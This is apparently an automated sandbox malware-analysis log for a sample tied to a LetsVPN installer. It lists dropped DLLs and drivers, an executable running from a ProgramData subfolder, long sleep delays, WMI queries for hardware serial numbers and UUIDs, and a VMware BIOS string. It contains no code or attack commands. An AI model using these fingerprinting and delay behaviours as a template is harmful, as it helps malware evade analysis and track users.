Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\uninst.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dll	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\driver\tap0901.sys	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	Dropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\nsExec.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\System.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	Dropped PE file which has not been started: C:\Windows\System32\drivers\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	Dropped PE file which has not been started: C:\Windows\System32\drivers\SETD038.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dll	Jump to dropped file

Source: C:\Windows\System32\svchost.exe TID: 1784	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2320	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe TID: 7680	Thread sleep count: 283 > 30	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe TID: 7680	Thread sleep time: -283000s >= -30000s	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe TID: 7672	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe TID: 7680	Thread sleep count: 9364 > 30	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe TID: 7680	Thread sleep time: -9364000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 8068	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 8044	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 8044	Thread sleep time: -218980s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7976	Thread sleep time: -300000s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 4612	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7660	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7460	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7732	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 6308	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7852	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BaseBoard
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select SerialNumber From Win32_BIOS
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BIOS
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BIOS
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BaseBoard
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	File Volume queried: C:\Program Files (x86) FullSizeInformation
Source: C:\ProgramData\letsvpn-latest.exe	File Volume queried: C:\Program Files (x86) FullSizeInformation

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C68E966 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,_wcslen,		16_2_6C68E966
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C936810 _Open_dir,FindFirstFileExW,_Read_dir,FindClose,		16_2_6C936810

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_000000018000690C GetSystemInfo,GlobalMemoryStatusEx,

0_2_000000018000690C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 218980
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 300000
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477

Source: setupapi.dev.log.31.dr	Binary or memory string: set: BIOS Vendor: VMware, Inc.
Source: setupapi.dev.log.31.dr	Binary or memory string: sig: Key = vmci.inf
